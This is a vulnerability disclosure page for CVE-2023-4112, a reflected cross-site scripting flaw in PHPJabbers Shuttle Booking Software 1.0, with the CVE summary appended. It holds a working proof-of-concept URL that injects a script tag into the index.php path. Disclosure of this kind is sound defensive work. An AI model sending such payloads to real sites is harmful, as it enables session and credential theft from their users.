Headline
PHPJabbers Shuttle Booking Software 1.0 Cross Site Scripting
PHPJabbers Shuttle Booking Software version 1.0 suffers from a cross site scripting vulnerability.
# Exploit Title: PHPJabbers Shuttle Booking Software 1.0 - Reflected XSS# Exploit Author: CraCkEr# Date: 20/07/2023# Vendor: PHPJabbers# Vendor Homepage: https://www.phpjabbers.com/# Software Link: https://www.phpjabbers.com/shuttle-booking-software/# Tested on: Windows 10 Pro# Impact: Manipulate the content of the site# CVE: CVE-2023-4112## DescriptionThe attacker can send to victim a link containing a malicious URL in an email or instant messagecan perform a wide variety of actions, such as stealing the victim's session token or login credentialsPath: /index.phpURL parameter is vulnerable to RXSShttps://website/index.php/gm5rj"><script>alert(1)</script>bwude?controller=pjAdmin&action=pjActionLogin&err=1[-] DoneRelated news
CVE-2023-4112
A vulnerability was found in PHP Jabbers Shuttle Booking Software 1.0. It has been classified as problematic. This affects an unknown part of the file /index.php. The manipulation leads to cross site scripting. It is possible to initiate the attack remotely. The associated identifier of this vulnerability is VDB-235959. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.